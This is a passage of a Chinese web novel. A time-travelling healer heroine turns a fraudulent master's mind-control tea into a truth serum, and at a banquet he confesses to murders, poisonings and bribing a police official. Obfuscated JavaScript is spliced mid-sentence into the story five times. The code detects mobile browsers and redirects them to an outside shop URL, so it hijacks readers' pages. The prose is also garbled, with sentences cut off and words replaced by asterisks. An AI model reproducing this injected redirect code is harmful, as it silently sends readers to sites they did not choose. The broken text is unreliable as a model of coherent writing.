她猛地想了起来!自从“荔湾鬼楼事件后,父亲的性情就变得越来越古怪,越来越不可理喻!她之前只以为他是被吓破了胆,现在想来…… “……那茶,是金山给他的!她的声音里,带着一丝她自己都未察觉的颤抖,“说是能‘延年益寿、固本培元’的仙茶!我爸把它当宝贝一样,每天都要喝上好几壶! “那就没错了。凝凝点了点头,眼中闪过一丝冷冽,“那个妖道,不仅要骗你们的玉佩,还想把整个霍家,都变成她的囊中之物。 “那我……我现在就回去,把那些茶都倒了!霍思呈又急又怒,作势就要让司机掉头。 “来不及了,而且会打草惊蛇。凝凝按住了她的手,声音冷静得可怕,“你现在回去,你父亲不仅不会信你,反而会认为你是在‘妖言惑众’,破坏他的‘仙缘’。我们必须拿到证据。 她看着霍思晴:“你回去后,什么都不要做。就装作什么都不知道,继续筹备你的‘祈福酒会’。但是,你要想办法,不动声色地,弄一点你父亲喝的那些茶叶出来,越多越好。 “等到了酒会那天,凝凝的嘴角,勾起一抹冰冷的、充满了掌控力的弧度,“我们不仅要揭穿她的**罪行,更要当着所有人的面,让他神机妙算、控制人心的‘仙术’,变成一个贻笑大方的笑话! “我要让她,身败名裂! 霍思呈看着凝凝那双清亮而又冰冷的眸子,重重地点了点头。 “我明白了。 车内的气氛变得有些凝重。陈瑶看着凝凝那张写满了冷酷的侧脸,大气都不敢喘一下。她不是第一次见识到平时看起来温温柔柔的凝凝姐,一旦认真起来,那份从骨 子里透出的锋芒,但此时还是令人不由自主的信服。 姐姐真帅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771315|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 仿佛是察觉到了车内气氛的变化,凝凝缓缓地转过头,看向窗外飞速**的、繁华而又陌生的街景。 她的目光,落在街边那些行色匆匆的路人身上。那些人,有提着公文包、满脸疲惫的白领,有推着婴儿车、脸上带着温柔笑意的年轻母亲,有相互搀扶着、步履蹒跚的老夫妻…… 他们每一个人,都鲜活、生动,都在为了自己的生活而努力地奔波着。 而“荔湾大厦那三个枉死的人,也曾是他们中的一员。 那个电工,或许正准备攒够钱,给他在港大读书的儿子换一台新电脑。 那个清洁女工,或许正盼着下班后,能回家给自己的孩子做一顿热腾腾的晚饭。 那个保安,或许正计划着,等发了工资,就去大排档,和自己的弟弟喝上一碗热粥。 他们本该拥有自己平凡而安稳的人生,有自己的喜怒哀乐,有自己小小的、却又珍贵的梦想。 然而,就因为金山那肮脏的、为了夺取“鸾凤佩的贪欲,他们就这么无声无息地,变成了冰冷的尸体,甚至死后还要被污蔑为“煞气缠身,成为那个妖道用来装神弄鬼、沽名钓誉的道具! 想到这里,她不禁收紧了手掌。 她白凝凝,从来不是什么救世主。穿书而来,她只想护住自己和腹中的孩子,安安稳稳地和傅清寒过完这一生。 她可以冷眼旁观商场上的尔虞我诈,也可以对豪门里的勾心斗角嗤之以鼻。只要不惹到她头上,她懒得去管那些闲事。 但是,她有自己的底线。 医者,是救人的。而金山却披着“大师外衣,名为祈福,用医道中最阴毒的手段,草菅人命!他将活生生的人,当作他达成阴谋的踏板。 他以为自己可以一将功成万骨枯,以为可以一己私欲就可以肆意践踏他人性命! 他做梦! 她要在那场万众瞩目的盛宴上,将他那张虚伪的画皮,当众一层一层地彻底剥下来! 她要让全港市的人都看清楚,这个他们顶礼膜拜的“活神仙,究竟是一个怎样蛇蝎心肠、双手沾满鲜血的魔鬼! 让他为自己的所作所为付出代价! 让他,永世不得翻身! 第160章 吐真剂,以其人之道,还治其人之身 酒会三天前,夜色如浓墨,将半山别墅笼罩在一片静谧之中。 一辆黑色的宾利,悄无声息地驶入了安全屋的车库。 霍思晴独自一人,从车上走了下来。她没有穿平时的职业套装,只是一身简单的黑衣黑裤,脸上带着几分掩不住的疲惫和凝重。 她的手里,提着一个看起来毫不起眼的、用牛皮纸袋包裹着的东西。 客厅里,只有凝凝一个人在等她。傅清寒和陈慕白等人在指挥室里,正与商议着酒会当天的细节和预案。 “**。”霍思晴将纸袋放在茶几上,声音比平时要低沉几分。 凝凝抬起眼,目光落在那个纸袋上,没有说话。 霍思晴拉开纸袋的封口,从里面,取出了一个古朴的紫砂茶叶罐。她将罐子推到凝凝面前,脸上露出一丝复杂难言的神色,既有完成任务的决断,也有一丝后怕和对父亲的失望。 “……都在这里了。”她的声音很轻,“我趁他睡下,从他的书房保险柜里拿的。他把它当宝贝一样锁着,幸好……我之前就偷偷配了备用钥匙。” 之前就悄悄配了钥匙,看来父女之间的问题确实积怨已久。她没说什么,只是点了点头,打开茶叶罐的盖子,一股被浓郁茶香掩盖下的、极其微弱的奇异药味,立刻飘散了出来。 就是这个味道,和那天她在霍家闻到的味道一样。 “**,”霍思晴看着凝凝那瞬间变得凝重的表情,忍不住压低了声音,眼中闪过一丝担忧,“这东西……到底是什么?我爸他喝了这么久,会不会……会不会有生命危险?” 她虽然恨父亲的愚蠢和固执,但在得知他可能被慢性下毒后,那份血脉相连的亲情,还是让她无法做到真正的不闻不问,毫无波澜。 凝凝盖上盖子,那双清亮的眸子里闪过一丝冰冷的寒光。 “生命危险,暂时不会。” 她的声音很平淡,但说出的话,却让霍思晴不寒而栗。 “这种药,名叫‘锁心藤’。它不会直接要人的命,但它会像一把看不见的枷锁,慢慢地、一点一点地锁住人的心智。” 凝凝看着霍思晴,一字一句地,将这味**最可怕的效用,剖析开来: “长期服用,会让人性情大变,变 得固执己见,听不进任何人的劝告。同时,他会对第一次给予他这种药物的人,产生一种近乎催眠般的、病态的信任和依赖。 “换言之,他会把那个人视为自己的信仰。 霍思晴的身体,猛地一晃! 她瞬间就明白了! 难怪!难怪父亲会变得那么不可理喻!难怪他会对那个金山居士的话深信不疑,甚至不惜为了他,当众掌掴自己! 原来,他早已不是他自己了。他只是一个被药物控制的、可悲的提线木偶! 一阵寒意从她的尾椎骨瞬间窜上了天灵盖! “那个妖道……她死死地攥着拳,指甲深深地陷进掌心,从牙缝里挤出这几个字,“她不仅要我们霍家的财,她还要我们霍家的命! “所以,凝凝抬起眼,看着她,那双清澈的眸子里,映照出霍思晴那张因愤怒而扭曲的脸,“你现在还觉得,让你去演那场‘认错’的戏,委屈吗? 霍思晴猛地一震,她看着凝凝,“不委屈,一次认错能救回我们霍家,是我血赚。**,你需要我做什么,尽管吩咐。 凝凝看着她那紧绷到指节都泛白的拳头,知道她此刻心神激荡,需要一点时间来平复。 她站起身,为霍思晴倒了一杯温水,声音也放缓了几分:“不急。你先在这里坐一会儿,冷静一下。她将水杯递到霍思晴手中,又指了指桌上那些精致的茶点,“我让厨房准备了你爱吃的燕窝挞,你先吃点东西,压压惊。 凝凝的语气虽然平淡,但这份恰到好处的关怀,却像一股暖流抚平了霍思晴剧烈起伏的心绪。她接过水杯,低声道了句“谢谢。 凝凝则转身,对她露出了一个安抚的微笑:“我去一下洗手间,马上回来。你等我一下。 说完,她便转身走进了旁边的一个休息室,并轻轻地带上了门。 休息室内,凝凝没有开灯。她盘腿坐在柔软的地毯上,心念一动,意识瞬间沉入了那片只有她自己知道的、仙气氤氲的灵泉空间。 她将霍思晴送来的“仙茶放在黑土地上。心念一动,一滴散发着莹莹宝光的灵泉水,悬浮在了茶叶上方。 “《药神典》开,百草析。她轻声念道。 那卷古 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771316|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朴的书卷,无风自动,在 她面前缓缓展开。一道柔和的光芒从书卷中射出笼罩住那堆茶叶。 茶叶中“锁心藤”的成分、药性、以及与其他茶叶的融合方式瞬间以一种数据的形式清晰地呈现在了她的脑海中。 “果然如此不仅有锁心藤还加了微量的‘忘忧草’来放大其迷惑心智的效果。手段倒是精巧。”凝凝嘴角勾起一抹冷笑。 她没有销毁这些茶叶。 “忘忧草”是一种极其霸道的双刃剑。少量使用与“锁心藤”结合确实能让人忘却烦恼放大依赖感是控制人心的绝佳组合。 但如果用特殊的灵力手法进行催化再将剂量稍稍加大忘忧草便会激活它另一个更可怕的副作用——吐真。 在药性发作的半小时内服用者会神智错乱心防彻底崩溃大脑皮层处于极度亢奋的状态将心中隐藏最深的秘密那些被压抑的欲望、恐惧和罪恶不受控制地 这种以药物操控人心、诱人吐露真言的手段有违天和是自己乃至整个师门都不屑使用的“诡道”。 但金山此人披着“大师”外衣用医道中最阴毒的手段草菅人命早已不配为人。 对付这种魔鬼何须讲什么江湖道义? 以其人之道还治其人之身既然是他送给霍振邦的好东西他自己喝一点也无可厚非。 凝凝的眼中闪过一丝冰冷的讥诮。 对付他那真是再合适不过了。 她心念一动那滴悬浮的灵泉水瞬间化为一道肉眼难以察觉的、蕴含着精纯生命力的白色雾气缓缓地渗入那堆茶叶之中。 做完这一切她又从空间里取出一些同样具有安神效果、但药性温和的普通草药将其碾成粉末与那些被动过手脚的茶叶按照原来的比例完美地混合在一起。 这样一来哪怕有其他懂行的人来检查也只会觉得这罐茶的药性似乎比之前更“醇厚”了一些绝不会发现其中暗藏的杀机。 既然是为荔湾大楼布下平安阵既然是为港市祈福既这么伟大的仙师。没有做过亏心事但讲出来自然也无妨正好让大家都看看他是有多高尚无私宝相庄严! 但……如果不是…凝凝冷笑一声。 金山自作虐不可活明天晚上就让我们听听你都做了好事吧。 第161章 思晴奉茶 她将这罐“加料”的茶叶,重新装回紫砂罐中,意识退出了空间。 几分钟后,凝凝重新走回客厅。 霍思晴已经喝完了那杯水,情绪也基本平复了下来。她看到凝凝回来,立刻站起身,那双清亮的眸子里,已经只剩下冷静和决断。 凝凝将那个紫砂茶叶罐,重新推回到她的面前。 “这罐茶,你拿回去,原封不动地放回你父亲的保险柜,酒会那天你亲自奉茶给金山大师。” 霍思晴看着那个熟悉的罐子,眉头紧紧地皱了起来,满脸的不解和担忧:“凝凝,我不明白。这茶里不是有‘锁心藤’吗?是那个妖道用来控制我父亲心智的**。你把它放回去,还要我酒会那天亲自奉茶给那个妖道喝…这有什么用?难道你想让她尝尝自己种下的苦果?可这慢性**,喝一杯根本没什么反应啊。” 她顿了顿,眼中闪过一丝狠厉:“如果是想毒死她,我可以直接换成剧毒!” “不,不能毒死她。”凝凝摇了摇头,看着霍思晴,“他是该死,但应该是接受法律的制裁,而不是我们下手。他还不配弄脏我们的手。我的是让他身败名裂,生不如死。” 她伸出修长的手指,轻轻地点了点那个紫砂罐,声音放低,却带着一种让人无法抗拒的诱惑力: “思晴,这罐茶,已经不是原来的茶了。” “刚才,我在里面加了一味特殊的‘佐料’。” “佐料?”霍思晴一愣。 “对。”凝凝的眼中闪烁着睿智的光芒,“这味佐料,无色无味,却能与‘锁心藤’产生奇妙的化学反应。它能将原本‘锁心’的药效更换。喝下它的人,会在短时间内,大脑皮层极度兴奋,失去对语言中枢的控制能力。会将心底深处,最想隐藏,不敢说出来的秘密和欲望,都会像决堤的洪水一样,不受控制地倾泻而出。” 霍思晴的眼睛猛地瞪大了!她难以置信地看着那个罐子,呼吸都变得急促起来。 “你想想,当她在全港市名流和媒体的面前,亲口承认自己做过的好事…那场面,会有多精彩?” 霍思晴听着凝凝的描述,脑海中不由自主地浮现出那个画面,只觉得浑身的血液都沸腾了起来! 但是……她猛然间想到一件事,“可是…… 酒会那天我们怎么能保证 “他会的。”凝凝看着她眼中闪烁着洞悉人心的光芒“因为那杯茶将由你亲自为他奉上。” “我?”霍思晴更疑惑了。 凝凝点了点头声音平静带着一丝引导和解惑:“酒会那天你要当着所有宾客和媒体的面上演一出最完美的‘浪子回头金不换’。你要用最谦卑恭敬的姿态走到金山居士的面前。” 她的目光仿佛已经看到了酒会那天的场景: “你要告诉所有人你为自己之前的‘无知’和‘冲撞’感到万分的后悔和愧疚。为了表达你的歉意也为了祈求大师的原谅你要亲自为他奉上一杯由你父亲珍藏的、大师亲赐的‘仙茶’。” 凝凝看着霍思晴一字一句地说道: “思晴你要记住。你给他奉上的不仅仅是一杯茶。你是在给他戴一顶用宽宏大量、不计前嫌、心怀苍生编织而成的高帽!” “一个被你这个曾经的反对者当众跪地奉茶、感恩戴德的‘活神仙’;一个被全港市媒体的闪光灯聚焦着即将登台为苍生祈福的得道高人……” 凝凝的嘴角勾起一抹笑: “面对一个晚辈的幡然醒悟面对一杯代表着和解的茶在那种万众瞩目的场合下他除了大度地一饮而尽之外还有第二个选择吗?” “他若不喝就是心胸狭隘就是与一个小辈计较他之前所有的‘高人’形象都会瞬间蒙上污点。” “他只有喝下去才能将他那悲天悯人普度众生的戏码演下去!” “他不是要给我们带高帽吗?我们也送给他一顶!” 话音落下霍思晴只觉得一股寒意从背脊升起! 她终于明白了! 凝凝这递上去的根本不是一杯茶而是一个用“道德”和“名誉”的名义让金山无法拒绝! “我明白了。”霍思晴重重地点了点头她那双清亮的眸子里所有的疑虑都已退去只剩下敬佩和决然。 她将那个茶叶罐郑重地收回自己的手包中。 “**你放心。酒会那天我一定亲手让他喝下这杯茶。” 三天后港市半岛酒店宴会厅。 这场由 霍家大小姐“幡然醒悟后亲自操办的“祈福平安酒会,早已通过媒体的渲染,成为了全港市最受瞩目的盛事。 金碧辉煌的大厅内,衣香鬓影,名流云集。 霍思晴穿着一身素净的白色礼服,脸上画着淡妆,神情谦卑而恭顺。她忙前忙后,亲自张罗着每一个细节,对每一位前来的宾客都礼数周全,完美地演绎了一个痛改前非、想要弥补过错的孝顺女儿形象。 而在宴会厅二楼一个视野极佳的半开放式包厢里,气氛却有些微妙。 傅清寒正黑着一张脸,浑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771317|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身散发着“生人勿近的冷气。 原因无他,只因坐在凝凝身边的那个男人——玄冥。 “师兄,今天人多眼杂,还要麻烦你多费心了。凝凝端起一杯温水,对着身旁的玄冥歉意地笑了笑。 今天出门前,她特意去了一趟百草堂,以“担心现场人太多冲撞了胎气为由,把玄冥请了过来。她心里清楚,今天的局虽然是她布下的,但对方毕竟是个会用毒、懂玄学的“妖道 玄冥今日换下了一贯的长衫,穿了一身剪裁得体的中式立领西装,显得更加儒雅出尘。他温和地看着凝凝,眼中满是宠溺:“小师妹这是哪里话。你的事,就是师兄的事。有我在,谁也别想动你一根汗**。 说完,他还特意瞥了一眼旁边的傅清寒,似笑非笑地补了一句:“毕竟,术业有专攻。调理气机、应对那些脏东西,还是得我们懂行的人来盯着才放心。 傅清寒握着酒杯的手指猛地收紧,指节泛白。如果眼神能**,玄冥此刻已经被千刀万剐了。他当然知道凝凝是为了安全起见,但这并不妨碍他对这个时刻都在炫耀“我比你懂她的男人感到极度的不爽。 凝凝在桌下悄悄伸手,捏了捏傅清寒的手心,在他掌心挠了一下。傅清寒身体一僵,原本即将爆发的怒气瞬间像被戳破的气球,最后只能无奈地反手握住她的手,十指紧扣,以此来宣示**。 这一幕,正好被旁边一直偷瞄这边的陈瑶看在眼里。她捂着嘴,无声地偷笑了一下,刚想调侃两句,但看到下面霍振邦已经陪着金山居士登场了,知道正事要紧,便立刻收敛了嬉笑,紧张地盯着楼下。 就在这时,大厅中央的灯光暗了下来。 霍振邦一脸红光,满面春风地陪着金山居士,在万众瞩目中登场了。 副署长周启华也跟在一旁,满脸堆笑,金山是他的尊师,能收服霍家那个傲气的小丫头,他自然也是乐见其成。。 金山居士今日穿了一身绣着金丝云纹的道袍,手持拂尘,更是显得宝相庄严。他环视全场,享受着众人的顶礼膜拜,高高在上、掌控一切的虚荣心得到了极大的满足。 “各位,霍思晴拿着麦克风,走上台,声音有些哽咽,显得格外真诚,“感谢大家今日的赏光。之前因为我不懂事,冲撞了大师,也让父亲伤了心。这几日我闭门思过,终于明白了父亲的苦心,也见识到了大师的神通。 她转过身,从礼仪小姐手中的托盘上,端起那杯早已准备好的、热气腾腾的茶。 那茶香浓郁,隐隐透着一股奇异的草木香气。 第162章 金山的马甲终于掉了 霍思晴双手奉茶,毕恭毕敬地走到金山居士面前,深深地弯下了腰: “大师,这是我父亲珍藏的、您亲赐的‘延年益寿仙茶’。今日,思晴借花献佛,以此茶代酒,向您赔罪。还请大师宽宏大量,不计前嫌,喝下这杯茶,为我们霍家,也为港市苍生,祈福开坛!” 这番话,说得极漂亮,将金山居士架到了一个“宽宏大量、心怀苍生”的道德制高点上。 全场的闪光灯疯狂闪烁,所有人都屏息凝神,等待着大师的反应。 霍振邦在一旁看得频频点头,觉得自己这个女儿终于开窍了,这面子给得太足了! 金山居士看着眼前低眉顺眼的霍思晴,又看了看那杯熟悉的茶,心中最后一丝疑虑也烟消云散。这茶是他亲手配的,有没有毒他最清楚。 区区一点锁心藤对他来说不足为惧。 他在众目睽睽之下,露出一个悲天悯人的微笑,伸手接过了茶杯。 “善哉,善哉。”他拂尘一甩,脸上露出了宽宏大量的慈悲笑容,“知错能改,善莫大焉。霍小姐既有此心,贫道若是再计较,便显得气量狭小了。” 他伸出手,接过茶盏,在全场热烈的掌声中,将那杯加了料的“仙茶”,一饮而尽! 角落包厢里,傅清寒看着这一幕,对着衣领下的麦克风,冷冷地下达了指令: “点香。” 几乎是在金山放下茶杯的同一瞬间,宴会厅的广播里响起了司仪的声音: “吉时已到!为配合大师作法,特以此‘百年安神檀香’熏蒸会场,净化磁场!” 随着悠扬的古乐声,几股白色的烟雾,顺着大厅四周的通风口,缓缓飘散开来,清新淡雅,闻之令人神清气爽。 但并不是什么檀香,而是凝凝特制的艾草熏蒸。 不到五分钟,异变突生! 一股奇异的、带着淡淡金属铁锈味的气息,忽然在封闭的宴会厅里弥漫开来。 这味道极淡,但在凝凝特意让人加大了功率的中央空调系统的吹送下,很快就被敏锐的人察觉到了。 “这是什么味儿?好像是铁锈味?” “不对,像是血腥味……” “好像……是从台上那个大师身上传来的?” 窃 窃私语声逐渐变大。很快,所有人的目光,都惊疑不定地投向了舞台中央! 因为那股刺鼻的、令人作呕的浓烈铁锈味,源头竟然正是那位仙风道骨的金山居士! 那味道之浓烈,简直就像是两个人刚刚从血水里捞出来的废铁堆里爬出来一样! “怎么回事?!”霍振邦也闻到了,他离得最近,差点被熏吐了,惊恐地后退了一步。 金山居士脸色大变!他惊慌地抬起袖子闻了闻,那股味道让他自己都感到窒息! 就在这时,一个清冷的声音,穿透了嘈杂的议论声,清晰地响彻全场。 “那不是生锈的味道。” 白凝凝缓缓从包厢走出,站在了二楼的栏杆旁,居高临下地看着下面慌乱的众人。 “那是人血和罪恶发酵的味道!” 凝凝的声音清冷如冰,每一个字都像重锤,狠狠地砸在金山居士的心口! “你……内地来的小丫头竟敢在此胡言乱语!”金山居士虽然心中慌乱,但还是强撑着大师的风度,指着凝凝怒斥道,“贫道乃是得道高人,怎么会有什么罪恶的味道!这分明是有人想陷害贫道,故意释放的毒气!” 他试图用“陷害”来转移视线。 然而,就在他张口反驳的那一瞬间,他猛地感到一阵天旋地转!大脑深处,仿佛有什么东西被强行撬开,那些被他深埋心底、平时连想都不敢想的秘密,此刻却像开了闸的洪水,疯狂地涌向喉头! 凝凝看着金山那瞬间扭曲又亢奋的表情,嘴角勾起一抹冰冷的弧度。 药效发作了。 “陷害?!谁能陷害我?!”他想闭嘴,但他的嘴巴却不受控制地,用一种极其亢奋得意的语调,大声地吼了出来: “我就是杀了人!怎么了?!那三个贱民,能为本座的大业铺路,是他们几辈子修来的福气!” 全场哗然!所有人都惊呆了! 这……什么贱民?什么大业?不是说是风水煞导致人死的吗? 金山居士惊恐地瞪大了眼睛,他拼命想捂住自己的嘴,可是那股来自“忘忧草”催化下的强烈表达欲,让他根本无法控制! “那个电工, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771318|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现了我布置在通风管道里的致幻毒粉,该死!那个清洁工,看到了我在水箱里**,该死 !至于那个保安……哼 “为了那块‘鸾凤佩’别说是三个人就算是三百个我也照杀不误!” 鸾凤佩!所有人都震惊得瞪大眼睛了!全场一片寂静。 “鸾凤佩?!”而霍振邦听到这里整个人如遭雷击!他颤抖着指着金山“你……你不是说那是为了**邪气吗?!你……你居然是为了夺宝**?!” “**邪气?”金山居士看着霍振邦脸上露出了极为不屑和嘲讽的笑容“老东西你也配让我给你**邪气?如果不是为了那块玉佩我会给你喝那种加了‘锁心藤’的烂茶?把你驯得像条狗一样听话?哈哈哈哈!你还真以为自己是什么霍家家主?你在我眼里就是个蠢货!” “你……你……”霍振邦气得浑身发抖一口气没上来两眼一翻直接晕了过去! “爸!”霍思晴惊呼一声连忙扶住父亲。 金山居士此刻已经完全陷入了癫狂他指着台下的众人继续爆着更惊天的猛料发泄着他内心积压已久的不满: “还有那个赵家的梁美玲!简直就是个吃干饭的废物!蠢猪!” “用了本座最得意的‘子母牵机蛊’居然还没把赵承熙那个病秧子给弄死?!简直是丢尽了我南洋第一降头师的脸!” “早知道她是这种蠢货我就该亲自动手把赵家那几个人全部练成尸傀!也省得坏了我的名声!” “轰——!” 这番话如同一枚重磅核弹瞬间将整个宴会厅炸得粉碎! “白石?!” 角落里赵承熙听到这里双拳紧握眼中迸发出滔天的恨意!原来这一切的幕后黑手就是眼前这个所谓的“金山居士”!他就是那个神龙见首不见尾的降头师白石! 傅清寒的眼中寒芒爆闪! 陈慕白的脸色也瞬间沉了下来! 凝凝的手猛地抓紧了栏杆! 就是他! 他就是那个梁美玲在电话里提到的、要给她下“断命蛊”的妖道!那个害得赵承熙家破人亡、害得霍家险些覆灭、现在又将魔爪伸向无辜平民的罪魁祸首! 全场宾客更是哗然一片! 第163章 不肯交出玉佩 “天啊!他……他还参与了赵家的案子?!” “用蛊毒害人?这是**啊!” “梁美玲那个毒妇,原来是跟他勾结的!” 所有的线索,在这一刻达成闭环!梁美玲案中缺失的那最关键的一环证据——那个提供蛊毒的神秘人,终于浮出了水面! 站在一旁的周启华,此时早已吓得魂飞魄散!他怎么也没想到,自己一直供奉的“活神仙”,竟然是个如此丧心病狂的连环**犯! 他必须立刻阻止他!不然谁知道他会说点什么出来! “住口!你疯了!”周启华冲上台,想要去捂金山的嘴,“来人!快来人!把他给我抓起来!他是个疯子!” “抓我?你敢抓我?!”金山一把推开周启华,指着他的鼻子骂道,“周启华!你也不撒泡尿照照自己是个什么东西!你不过是我养的一条狗!为了让我给你指点赛马,你利用职权帮我挡了多少事?!为了帮你那个下不了蛋的老婆‘求子’,你给我送了多少钱?要不是我,你能坐稳这个副署长的位置?!” “轰——!” 这番话,彻底引爆了全场! 警署副署长勾结妖道,收**赂,甚至充当**犯的保护伞!这绝对是港市警界最大的丑闻! 周启华的脸瞬间变得惨白,他看着台下那些对准他的镜头,知道自己完了。但他必须先把金山控制住,然后再想办法把自己摘干净! “胡说八道!他在胡说八道!来人!给我把他拷起来!带回警署严加审讯!”他歇斯底里地对着手下的警员下令。 然而,那些警员却站在原地,没有动。 “周副署长,我看,该被带走调查的,是你吧。” 一个威严的声音,从大厅门口传来。 只见一群穿着廉政公署(ICAC)制服的人员,在**和**然的带领下,大步走了进来。为首的,正是警署署长本人! “署……署长?!”周启华双腿一软,瘫倒在地。 “周启华,你涉嫌收受巨额贿赂、滥用职权、包庇**犯等多项罪名,现在被正式停职调查!”署长冷冷地看着他,一挥手,“带走!” “不!我是冤枉的!都是这个妖道害我!”周启华被拖走时,发出了绝望的哀嚎。 而金山在药效逐渐退去后终于意识到了自己刚才都说了些什么! “不……不是我……我没说……”他惊恐地后退想要落荒而逃。 但他早就是众矢之的被人团团围住无路可逃!**早就带着人冲了上去一把将他按倒在地! “不许动!” 金山奋力挣扎 “老实点!” 在激烈的挣扎中金山居士头上的发髻被打散假发套脱落露出了一头有些凌乱的长发。而在撕扯间她胸前的衣襟也被扯开露出了里面的……! “女的?!” “天啊!金山居士竟然是个女人?!” “啊!装摇撞骗!” 全场再次爆发出一阵惊呼!这个被港市富豪奉若神明的“得道高人”竟然是个女扮男装的骗子! 金山居士此时的白石趴在地上头发散乱再也没有了之前的仙风道骨。她抬起头死死地盯着二楼栏杆处的白凝凝眼中充满了怨毒和不甘! “白凝凝!你给我做局!你毁了我我做鬼也不会放过你!”她嘶吼着声音凄厉如鬼魅。 凝凝居高临下地看着她眼中没有丝毫怜悯只有冰冷的审判: “你不用做鬼。因为你会在监狱里为你所做的一切赎罪一辈子。” 白石被戴上**强行拖走。 随着警车和廉政公署车辆的呼啸离去这场足以载入港市史册的“祈福酒会”终于在一片令人咋舌的惊涛骇浪中落下了帷幕。 霍振邦被送往医院他再也没有脸面去插手公司的事。霍家的大权在这一夜之后名正言顺地落入了霍思晴的手中。 “凝凝。”霍思晴走到凝凝面前那双一向清冷坚强的眸子里此刻却充满了感激和一丝后怕。她握住凝凝的手郑重地说道“谢谢。如果不是你霍家……真的被毁了。” “我们是盟友。”凝凝回握住她的手笑容温婉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771319|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “而且你也帮了我一个大忙。” 两人相视一笑一切尽在不言中。 这时傅清寒走了过来极其自然地将凝凝揽入怀中带着些许占有欲的姿态对着霍思晴微微颔首:“霍小姐今天辛苦了。后续的事情承熙和文赫会跟进。凝凝身子重 她回去了。” “好 承熙……自己也许和他还有未尽的缘分。 …… 回到安全屋别墅。 虽然大获全胜但众人的脸上都难掩疲惫。尤其是凝凝今晚不仅耗费了心神布局还动用了空间里的珍稀药材虽然有灵泉水支撑但毕竟是有孕之身此时已经困得眼皮都在打架了。 傅清寒二话不说直接将她打横抱起大步向楼上走去。 “哎呀这么多人呢……”凝凝脸一红小声**。 “谁敢看?”傅清寒冷冷地扫了一眼客厅里的众人。 陈慕白立刻低头假装看报纸苏文赫抬头数天花板上的吊灯只有陈瑶这个没心没肺的捂着嘴偷笑还冲着凝凝眨了眨眼。 回到卧室傅清寒将凝凝轻轻放在床上帮她脱去鞋袜又细心地掖好被角。 “睡吧。”他在她额头上落下轻轻一吻声音温柔得不像话。 翌日清晨约莫十点。 安全屋别墅的客厅里气氛有些沉闷。 傅清寒坐在沙发上手中拿着一份刚从警署那边传来的内部简报眉头紧锁。他对面的陈慕白和苏文赫脸色也不太好看。 “这个白石嘴比她的名字还硬。”苏文赫有些烦躁地揉了揉眉心“审讯了一整夜各种手段都用上了她承认**承认下蛊甚至连怎么坑害赵家的细节都交代了但唯独关于‘鸾凤佩’的下落她只字不提。” “她在待价而沽。”陈慕白推了推眼镜一针见血地指出“她知道那是她唯一的护身符。只要玉佩没找到我们就不能真的拿她怎么样甚至还得防着她有什么后手。” 傅清寒放下手中的文件冷冷地开口:“她撑不了多久。只要断了她所有的念想……” 就在这时楼梯上传来轻微的脚步声。 第164章 “东施效颦”,爱情令人愚蠢 傅清寒那原本冰冷严肃的神情,在听到脚步声的瞬间,柔和了下来。他抬起头,看到白凝凝正扶着楼梯扶手,缓缓走下来。 因为怀着身孕,昨晚又耗费了大量心神布那个“请君入瓮”的局,她这一觉睡得很沉,直到现在才醒。虽然气色看起来恢复了不少,但眼底依然带着一丝淡淡的倦意,显得有些慵懒。 “醒了?”傅清寒立刻站起身,大步迎了上去。 